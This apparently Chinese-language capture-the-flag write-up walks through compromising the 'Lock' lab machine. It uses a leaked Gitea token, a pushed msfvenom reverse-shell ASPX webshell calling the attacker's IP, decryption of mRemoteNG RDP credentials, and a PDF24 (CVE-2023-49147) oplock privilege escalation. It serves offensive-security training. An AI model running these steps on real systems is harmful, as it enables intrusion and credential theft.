Lock
Lock 是一台简单难度的 Windows 靶机。解题流程包括:枚举 Gitea 仓库找到个人访问令牌(PAT);利用该令牌在服务器上部署 ASPX 网页后门,从而获得初始立足点;从 mRemoteNG 配置文件中解密出密码,得到新用户账户的登录权限;最后利用 PDF24 程序中的本地提权漏洞,获取 SYSTEM 权限的 Shell。
信息收集
目标ip:10.129.234.64
kali ip:10.10.16.4
kotlin
┌──(root㉿kali)-[~/桌面/HTB]
└─# nmap -A -T4 10.129.234.64
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-15 01:34 EST
Nmap scan report for 10.129.234.64
Host is up (0.30s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Lock - Index
| http-methods:
|_ Potentially risky methods: TRACE
445/tcp open microsoft-ds?
3000/tcp open http Golang net/http server
|_http-title: Gitea: Git with a cup of tea
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=74301fab8c80b509; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=7YhSALV0ZBSIvHetLhey94Wp5Es6MTc3MTEzNzQyMDEwNTU1NjcwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 15 Feb 2026 06:37:00 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>Gitea: Git with a cup of tea</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjU
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=c9a200de20c43a71; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=_WL4mnt6F0jUe2zby5-7FVfiMSY6MTc3MTEzNzQyMTM0NTI4NDgwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 15 Feb 2026 06:37:01 GMT
|_ Content-Length: 0
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-02-15T06:38:16+00:00; +1m58s from scanner time.
| ssl-cert: Subject: commonName=Lock
| Not valid before: 2026-02-14T06:34:21
|_Not valid after: 2026-08-16T06:34:21
| rdp-ntlm-info:
| Target_Name: LOCK
| NetBIOS_Domain_Name: LOCK
| NetBIOS_Computer_Name: LOCK
| DNS_Domain_Name: Lock
| DNS_Computer_Name: Lock
| Product_Version: 10.0.20348
|_ System_Time: 2026-02-15T06:37:37+00:00
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.95%I=7%D=2/15%Time=69916916%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,3000,"HTTP/1\.0\x20200\x20OK\r\nCache-Control:
SF:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nConte
SF:nt-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_gitea=
SF:74301fab8c80b509;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Cookie
SF::\x20_csrf=7YhSALV0ZBSIvHetLhey94Wp5Es6MTc3MTEzNzQyMDEwNTU1NjcwMA;\x20P
SF:ath=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Option
SF:s:\x20SAMEORIGIN\r\nDate:\x20Sun,\x2015\x20Feb\x202026\x2006:37:00\x20G
SF:MT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-
SF:auto\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"width=device
SF:-width,\x20initial-scale=1\">\n\t<title>Gitea:\x20Git\x20with\x20a\x20c
SF:up\x20of\x20tea</title>\n\t<link\x20rel=\"manifest\"\x20href=\"data:app
SF:lication/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYS
SF:IsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfd
SF:XJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8v
SF:bG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmc
SF:iLCJzaXplcyI6IjU")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCon
SF:tent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\
SF:r\n400\x20Bad\x20Request")%r(HTTPOptions,197,"HTTP/1\.0\x20405\x20Metho
SF:d\x20Not\x20Allowed\r\nAllow:\x20HEAD\r\nAllow:\x20GET\r\nCache-Control
SF::\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nSet-
SF:Cookie:\x20i_like_gitea=c9a200de20c43a71;\x20Path=/;\x20HttpOnly;\x20Sa
SF:meSite=Lax\r\nSet-Cookie:\x20_csrf=_WL4mnt6F0jUe2zby5-7FVfiMSY6MTc3MTEz
SF:NzQyMTM0NTI4NDgwMA;\x20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSi
SF:te=Lax\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate:\x20Sun,\x2015\x20Feb\
SF:x202026\x2006:37:01\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequ
SF:est,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/pla
SF:in;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reque
SF:st");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-02-15T06:37:38
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: mean: 1m57s, deviation: 0s, median: 1m57s
TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 349.42 ms 10.10.16.1
2 349.72 ms 10.129.234.64
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.87 seconds
发现开放了4个端口:80、445、3000、3389


在左上的探索下,位于公共仓库中有一段python编写的代码

python
import requests
import sys
import os
def format_domain(domain):
if not domain.startswith(('http://', 'https://')):
domain = 'https://' + domain
return domain
def get_repositories(token, domain):
headers = {
'Authorization': f'token {token}'
}
url = f'{domain}/api/v1/user/repos'
response = requests.get(url, headers=headers)
if response.status_code == 200:
return response.json()
else:
raise Exception(f'Failed to retrieve repositories: {response.status_code}')
def main():
if len(sys.argv) < 2:
print("Usage: python script.py <gitea_domain>")
sys.exit(1)
gitea_domain = format_domain(sys.argv[1])
personal_access_token = os.getenv('GITEA_ACCESS_TOKEN')
if not personal_access_token:
print("Error: GITEA_ACCESS_TOKEN environment variable not set.")
sys.exit(1)
try:
repos = get_repositories(personal_access_token, gitea_domain)
print("Repositories:")
for repo in repos:
print(f"- {repo['full_name']}")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
main()
这是一个用于通过 Gitea API 获取用户仓库列表的 Python 脚本,通过个人访问令牌进行身份验证。
核心功能
身份验证:使用 Gitea 个人访问令牌
API 调用:调用 Gitea 的 /api/v1/user/repos端点
域名处理:自动添加 HTTPS 协议前缀
仓库展示:输出用户的所有仓库完整名称

查看提交历史,可以看到PERSONAL_ACCESS_TOKEN

kotlin
PERSONAL_ACCESS_TOKEN = '43ce39bb0bd6bc489284f2905f033ca467a6362f'
我们将脚本复制到kali里面,并设置环境变量

我们可以看到有两个仓库:dev-scripts和website
这里有两个方法
1.git
我们已经了解了dev-scripts,所以接下来我们将克隆website仓库。但是现在没有密码,只有token,git允许token当作密码使用,这可以通过使用git clone命令并同时提供访问令牌来完成。
git clone https://<username>:<token>@<gitea-domain>/<owner>/<repository>.git
git clone http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.129.234.64:3000/ellen.freeman/website


2.curl
kotlin
curl http://10.129.234.64:3000/api/v1/user/repos -H "Authorization: Bearer 43ce39bb0bd6bc489284f2905f033ca467a6362f" -s | jq .
[
{
"id": 1,
"owner": {
"id": 2,
"login": "ellen.freeman",
"login_name": "",
"full_name": "",
"email": "ellen.freeman@lock.vl",
"avatar_url": "http://localhost:3000/avatar/1aea7e43e6bb8891439a37854255ed74",
"language": "",
"is_admin": false,
"last_login": "0001-01-01T00:00:00Z",
"created": "2023-12-27T11:13:10-08:00",
"restricted": false,
"active": false,
"prohibit_login": false,
"location": "",
"website": "",
"description": "",
"visibility": "public",
"followers_count": 0,
"following_count": 0,
"starred_repos_count": 0,
"username": "ellen.freeman"
},
"name": "dev-scripts",
"full_name": "ellen.freeman/dev-scripts",
"description": "",
"empty": false,
"private": false,
"fork": false,
"template": false,
"parent": null,
"mirror": false,
"size": 29,
"language": "Python",
"languages_url": "http://localhost:3000/api/v1/repos/ellen.freeman/dev-scripts/languages",
"html_url": "http://localhost:3000/ellen.freeman/dev-scripts",
"url": "http://localhost:3000/api/v1/repos/ellen.freeman/dev-scripts",
"link": "",
"ssh_url": "ellen.freeman@localhost:ellen.freeman/dev-scripts.git",
"clone_url": "http://localhost:3000/ellen.freeman/dev-scripts.git",
"original_url": "",
"website": "",
"stars_count": 0,
"forks_count": 0,
"watchers_count": 1,
"open_issues_count": 0,
"open_pr_counter": 0,
"release_counter": 0,
"default_branch": "main",
"archived": false,
"created_at": "2023-12-27T11:17:47-08:00",
"updated_at": "2023-12-27T11:36:42-08:00",
"archived_at": "1969-12-31T16:00:00-08:00",
"permissions": {
"admin": true,
"push": true,
"pull": true
},
"has_issues": true,
"internal_tracker": {
"enable_time_tracker": true,
"allow_only_contributors_to_track_time": true,
"enable_issue_dependencies": true
},
"has_wiki": true,
"has_pull_requests": true,
"has_projects": true,
"has_releases": true,
"has_packages": true,
"has_actions": false,
"ignore_whitespace_conflicts": false,
"allow_merge_commits": true,
"allow_rebase": true,
"allow_rebase_explicit": true,
"allow_squash_merge": true,
"allow_rebase_update": true,
"default_delete_branch_after_merge": false,
"default_merge_style": "merge",
"default_allow_maintainer_edit": false,
"avatar_url": "",
"internal": false,
"mirror_interval": "",
"mirror_updated": "0001-01-01T00:00:00Z",
"repo_transfer": null
},
{
"id": 5,
"owner": {
"id": 2,
"login": "ellen.freeman",
"login_name": "",
"full_name": "",
"email": "ellen.freeman@lock.vl",
"avatar_url": "http://localhost:3000/avatar/1aea7e43e6bb8891439a37854255ed74",
"language": "",
"is_admin": false,
"last_login": "0001-01-01T00:00:00Z",
"created": "2023-12-27T11:13:10-08:00",
"restricted": false,
"active": false,
"prohibit_login": false,
"location": "",
"website": "",
"description": "",
"visibility": "public",
"followers_count": 0,
"following_count": 0,
"starred_repos_count": 0,
"username": "ellen.freeman"
},
"name": "website",
"full_name": "ellen.freeman/website",
"description": "",
"empty": false,
"private": true,
"fork": false,
"template": false,
"parent": null,
"mirror": false,
"size": 7370,
"language": "CSS",
"languages_url": "http://localhost:3000/api/v1/repos/ellen.freeman/website/languages",
"html_url": "http://localhost:3000/ellen.freeman/website",
"url": "http://localhost:3000/api/v1/repos/ellen.freeman/website",
"link": "",
"ssh_url": "ellen.freeman@localhost:ellen.freeman/website.git",
"clone_url": "http://localhost:3000/ellen.freeman/website.git",
"original_url": "",
"website": "",
"stars_count": 0,
"forks_count": 0,
"watchers_count": 1,
"open_issues_count": 0,
"open_pr_counter": 0,
"release_counter": 0,
"default_branch": "main",
"archived": false,
"created_at": "2023-12-27T12:04:52-08:00",
"updated_at": "2024-01-18T10:17:46-08:00",
"archived_at": "1969-12-31T16:00:00-08:00",
"permissions": {
"admin": true,
"push": true,
"pull": true
},
"has_issues": true,
"internal_tracker": {
"enable_time_tracker": true,
"allow_only_contributors_to_track_time": true,
"enable_issue_dependencies": true
},
"has_wiki": true,
"has_pull_requests": true,
"has_projects": true,
"has_releases": true,
"has_packages": true,
"has_actions": false,
"ignore_whitespace_conflicts": false,
"allow_merge_commits": true,
"allow_rebase": true,
"allow_rebase_explicit": true,
"allow_squash_merge": true,
"allow_rebase_update": true,
"default_delete_branch_after_merge": false,
"default_merge_style": "merge",
"default_allow_maintainer_edit": false,
"avatar_url": "",
"internal": false,
"mirror_interval": "",
"mirror_updated": "0001-01-01T00:00:00Z",
"repo_transfer": null
}
]
| 字段 | dev-scripts 仓库 | website 仓库 | 渗透测试解读 |
|---|---|---|---|
| 仓库 ID | 1 | 5 | 唯一标识,API 操作时可能用到 |
| 所属用户 | ellen.freeman | ellen.freeman | 锁定目标用户,后续可围绕该用户展开枚举 |
| 仓库全名(full_name) | ellen.freeman/dev-scripts | ellen.freeman/website | 克隆 / 访问仓库的核心标识,格式为「用户名 / 仓库名」 |
| 仓库类型(private) | false(公共) | true(私有) | website 是私有仓库,大概率包含敏感内容(如网站源码、部署脚本),重点关注 |
| 主要开发语言 | Python | CSS | 提示仓库内容类型:- dev-scripts:Python 脚本- website:前端 / 网页代码 |
| 仓库大小 | 29 KB | 7370 KB(约 7.2MB) | website 体积大,内容更丰富,是重点目标 |
| 权限(permissions) | admin: true / push: true / pull: true | admin: true / push: true / pull: true | 你的令牌拥有该仓库的管理员权限(可推送 / 修改代码),这是提权关键 |
| 克隆地址(clone_url) | http://localhost:3000/ellen.freeman/dev-scripts.git | http://localhost:3000/ellen.freeman/website.git | 可通过该地址克隆仓库到本地分析内容 |
这表明,对该存储库的任何更改都会自动改变正在托管的网站。如果我们查看此目录内的index.html页面,我们会找到我们之前访问的网站的HTML内容。这意味着,我们能够向该存储库提交代码,它将被自动推送到该网站。
我们改变changelog.txt内容,然后提交后

git add .
git commit -m "mane update"
git config --global user.name "ellen.freeman"
git config --global user.email "ellen.freeman"
git push

这时候再去刷新就可以看到更改了

漏洞利用
既然可以成功修改了服务器的文件,由于从Nmap扫描可以确认Microsoft IIS被用作web服务器
我们可以上传一个.aspx网页shell以实现远程代码执行。
我们可以通过msfvenom生成此网页shell
kotlin
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.4 LPORT=4444 -f aspx > test.aspx

然后我们使用msfconsole启动监听器,以便在webshell触发后捕获反向shell
msfconsole -q -x "use exploit/multi/handler;set PAYLOAD windows/x64/meterpreter/reverse_tcp;set LHOST 10.10.16.4;set LPORT 4444;run"
kotlin
git add test.aspx
git commit -m "reverse shell"
git push

再回到website目录下,去访问test.aspx

得到shell
在C:\Gitea\data下有一个gitea.db的数据库文件
我们尝试使用445端口smb共享

但是没有权限
使用gitea命令更改管理员密码
kotlin
.\gitea admin user change-password -u administrator -p chenzi123

发现修改成功

成功登陆
但是并没有什么东西

| 字段名 | 取值 | 渗透测试解读 |
|---|---|---|
EncryptionEngine |
AES | 密码的加密算法是 AES(GCM 模式),这是解密的关键前提 |
BlockCipherMode |
GCM | AES 的分组密码模式,解密工具需要匹配这个模式 |
KdfIterations |
1000 | 密钥派生函数的迭代次数,解密时需要用到 |
Protected |
sDkrKn0JrG4oAL4GW8BctmMNAJfcdu/ahPSQn3W5DPC3vPRiNwfo7OH11trVPbhwpy+1FnqfcPQZ3olLRy+DhDFp | mRemoteNG 的主加密密钥(Base64 编码),解密密码必须依赖这个值 |
Name |
RDP/Gale | 这个连接配置的名称,指向用户 Gale |
Username |
Gale.Dekarios | 靶机上的有效用户账号(核心!后续登录 / 提权要用) |
Password |
TYkZkvR2YmVlm2T2jBYTEhPU2VafgW1d9NSdDX+hUYwBePQ/2qKx+57IeOROXhJxA7CczQzr1nRm89JulQDWPw== | 该用户的加密密码(Base64 编码),需要解密成明文 |
Hostname |
Lock | 连接的目标主机名(即靶机本身) |
Protocol |
RDP | 连接协议是 RDP(远程桌面),端口 3389 |
Port |
3389 | RDP 默认端口,解密密码后可尝试远程登录 |
加密密码
TYkZkvR2YmVlm2T2jBYTEhPU2VafgW1d9NSdDX+hUYwBePQ/2qKx+57IeOROXhJxA7CczQzr1nRm89JulQDWPw==
我们可以使用mRemoteNG进行解密
kotlin
git clone https://github.com/kmahyyg/mremoteng-decrypt
python mremoteng_decrypt.py -rf config.xml
Username: Gale.Dekarios
Hostname: Lock
Password: ty8wnW9qCKDosXo6

发现内容信息里有关RDP,成功获取RDP凭据。使用这些凭据,我们可以建立到该机器的RDP会话。
xfreerdp /v:10.129.234.64 /u:Gale.Dekarios /p:ty8wnW9qCKDosXo6

成功在桌面得到flag
权限提升
利用CVE-2023-49147中的PDF24漏洞获取NT系统权限



找到了原始安装文件,接下来还需要SetOpLock
https://github.com/googleprojectzero/symboliclink-testing-tools/releases/tag/v1.0
下载好后直接复制进来就行

成功下载后,我们执行以下命令在PDF24使用的faxPrnlnt.log文件上创建oplock
.\SetOpLock.exe "C:\Program Files\PDF24\faxPrnInst.log" -r

在oplock机制启动的情况下,我们打开一个新的命令行窗口,并使用易受攻击的PDF24 MSI安装程序触发修复安装。
msiexec.exe /fa C:\_install\pdf24-creator-11.15.1-x64.msi

一直按确定即可
在得到这个界面时候


使用火狐
然后启动后,使用ctrl+o 输入cmd

得到root
